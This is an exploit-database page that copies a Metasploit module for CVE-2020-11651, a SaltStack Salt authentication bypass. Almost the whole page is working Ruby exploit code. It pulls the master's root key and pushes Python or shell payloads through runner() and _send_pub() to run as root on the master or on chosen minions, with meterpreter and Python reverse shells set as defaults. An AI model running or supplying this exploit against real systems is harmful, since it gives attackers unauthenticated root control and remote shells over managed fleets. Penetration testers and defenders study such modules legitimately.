Advertisement






SaltStack Salt Master/Minion Unauthenticated Remote Code Execution

CVE Category Price Severity
CVE-2020-11651 CWE-287 Not disclosed Critical
Author Risk Exploitation Type Date
Orange Tsai Critical Remote 2020-05-13
CPE
cpe:cpe:/a:saltstack:salt
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.031278 0.63532

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020050119

Below is a copy:

SaltStack Salt Master/Minion Unauthenticated Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = GreatRanking

  include Msf::Exploit::Remote::ZeroMQ
  include Msf::Exploit::Remote::CheckModule
  include Msf::Exploit::CmdStager::HTTP # HACK: This is a mixin of a mixin
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SaltStack Salt Master/Minion Unauthenticated RCE',
        'Description' => %q{
          This module exploits unauthenticated access to the runner() and
          _send_pub() methods in the SaltStack Salt master's ZeroMQ request
          server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to
          execute code as root on either the master or on select minions.

          VMware vRealize Operations Manager versions 7.5.0 through 8.1.0 are
          known to be affected by the Salt vulnerabilities.

          Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as
          well as Vulhub's Docker image.
        },
        'Author' => [
          'F-Secure', # Discovery
          'wvu' # Module
        ],
        'References' => [
          ['CVE', '2020-11651'], # Auth bypass (used by this module)
          ['CVE', '2020-11652'], # Authed directory traversals (not used here)
          ['URL', 'https://labs.f-secure.com/advisories/saltstack-authorization-bypass'],
          ['URL', 'https://community.saltstack.com/blog/critical-vulnerabilities-update-cve-2020-11651-and-cve-2020-11652/'],
          ['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0009.html'],
          ['URL', 'https://github.com/saltstack/salt/blob/master/tests/integration/master/test_clear_funcs.py']
        ],
        'DisclosureDate' => '2020-04-30', # F-Secure advisory
        'License' => MSF_LICENSE,
        'Platform' => ['python', 'unix'],
        'Arch' => [ARCH_PYTHON, ARCH_CMD],
        'Privileged' => true,
        'Targets' => [
          [
            'Master (Python payload)',
            'Description' => 'Executing Python payload on the master',
            'Type' => :python,
            'DefaultOptions' => {
              'PAYLOAD' => 'python/meterpreter/reverse_https'
            }
          ],
          [
            'Master (Unix command)',
            'Description' => 'Executing Unix command on the master',
            'Type' => :unix_command,
            'DefaultOptions' => {
              'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
            }
          ],
          [
            'Minions (Python payload)',
            'Description' => 'Executing Python payload on the minions',
            'Type' => :python,
            'DefaultOptions' => {
              'PAYLOAD' => 'python/meterpreter/reverse_https'
            }
          ],
          [
            'Minions (Unix command)',
            'Description' => 'Executing Unix command on the minions',
            'Type' => :unix_command,
            'DefaultOptions' => {
              # cmd/unix/reverse_python_ssl crashes in this target
              'PAYLOAD' => 'cmd/unix/reverse_python'
            }
          ]
        ],
        'DefaultTarget' => 0, # Defaults to master for safety
        'DefaultOptions' => {
          'CheckModule' => 'auxiliary/gather/saltstack_salt_root_key'
        },
        'Notes' => {
          'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      Opt::RPORT(4506),
      OptRegexp.new('MINIONS', [true, 'PCRE regex of minions to target', /.*/])
    ])

    register_advanced_options([
      OptInt.new('WfsDelay', [true, 'Seconds to wait for *all* sessions', 10])
    ])

    # XXX: https://github.com/rapid7/metasploit-framework/issues/12963
    import_target_defaults
  end

  # NOTE: check is provided by auxiliary/gather/saltstack_salt_root_key

  def exploit
    # check.reason is from auxiliary/gather/saltstack_salt_root_key
    if target.name.start_with?('Master')
      unless (root_key = check.reason)
        fail_with(Failure::BadConfig,
                  "#{target['Description']} requires a root key")
      end

      print_good("Successfully obtained root key: #{root_key}")
    end

    # These are from Msf::Exploit::Remote::ZeroMQ
    zmq_connect
    zmq_negotiate

    print_status("#{target['Description']}: #{datastore['PAYLOAD']}")

    case target.name
    when /^Master/
      yeet_runner(root_key)
    when /^Minions/
      yeet_send_pub
    end

    # HACK: Hijack WfsDelay to wait for _all_ sessions, not just the first one
    sleep(wfs_delay)
  rescue EOFError, Rex::ConnectionError => e
    print_error("#{e.class}: #{e.message}")
  ensure
    # This is from Msf::Exploit::Remote::ZeroMQ
    zmq_disconnect
  end

  def yeet_runner(root_key)
    print_status("Yeeting runner() at #{peer}")

    # https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L1898-L1951
    # https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L1898-L1951
    runner = {
      'cmd' => 'runner',
      # https://docs.saltstack.com/en/master/ref/runners/all/salt.runners.salt.html#salt.runners.salt.cmd
      'fun' => 'salt.cmd',
      'kwarg' => {
        'hide_output' => true,
        'ignore_retcode' => true,
        'output_loglevel' => 'quiet'
      },
      'user' => 'root', # This is NOT the Unix user!
      'key' => root_key # No JID needed, only the root key!
    }

    case target['Type']
    when :python
      vprint_status("Executing Python code: #{payload.encoded}")

      # https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code
      runner['kwarg'].merge!(
        'fun' => 'cmd.exec_code',
        'lang' => payload.arch.first,
        'code' => payload.encoded
      )
    when :unix_command
      # HTTPS doesn't appear to be supported by the server :(
      print_status("Serving intermediate stager over HTTP: #{start_service}")

      vprint_status("Executing Unix command: #{payload.encoded}")

      # https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.script
      runner['kwarg'].merge!(
        # cmd.run doesn't work due to a missing argument error, so we use this
        'fun' => 'cmd.script',
        'source' => get_uri,
        'stdin' => payload.encoded
      )
    end

    vprint_status("Unserialized clear load: #{runner}")
    zmq_send_message(serialize_clear_load(runner))

    unless (res = sock.get_once)
      fail_with(Failure::Unknown, 'Did not receive runner() response')
    end

    vprint_good("Received runner() response: #{res.inspect}")
  end

  def yeet_send_pub
    print_status("Yeeting _send_pub() at #{peer}")

    # NOTE: A unique JID (job ID) is needed for every published job
    jid = generate_jid

    # https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L2043-L2151
    # https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L2043-L2151
    send_pub = {
      'cmd' => '_send_pub',
      'kwargs' => {
        'bg' => true,
        'hide_output' => true,
        'ignore_retcode' => true,
        'output_loglevel' => 'quiet',
        'show_jid' => false,
        'show_timeout' => false
      },
      'user' => 'root', # This is NOT the Unix user!
      'tgt' => datastore['MINIONS'].source,
      'tgt_type' => 'pcre',
      'jid' => jid
    }

    case target['Type']
    when :python
      vprint_status("Executing Python code: #{payload.encoded}")

      # https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code
      send_pub.merge!(
        'fun' => 'cmd.exec_code',
        'arg' => [payload.arch.first, payload.encoded]
      )
    when :unix_command
      vprint_status("Executing Unix command: #{payload.encoded}")

      # https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.run
      send_pub.merge!(
        'fun' => 'cmd.run',
        'arg' => [payload.encoded]
      )
    end

    vprint_status("Unserialized clear load: #{send_pub}")
    zmq_send_message(serialize_clear_load(send_pub))

    unless (res = sock.get_once)
      fail_with(Failure::Unknown, 'Did not receive _send_pub() response')
    end

    vprint_good("Received _send_pub() response: #{res.inspect}")

    # NOTE: This path will likely change between platforms and distros
    register_file_for_cleanup("/var/cache/salt/minion/proc/#{jid}")
  end

  # https://github.com/saltstack/salt/blob/v2019.2.3/salt/utils/jid.py
  # https://github.com/saltstack/salt/blob/v3000.1/salt/utils/jid.py
  def generate_jid
    DateTime.now.new_offset.strftime('%Y%m%d%H%M%S%6N')
  end

  # HACK: Stub out the command stager used by Msf::Exploit::CmdStager::HTTP
  def stager_instance
    nil
  end

  # HACK: Sub out the executable used by Msf::Exploit::CmdStager::HTTP
  def exe
    # NOTE: The shebang line is necessary in this case!
    <<~SHELL
      #!/bin/sh
      /bin/sh
    SHELL
  end

end

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.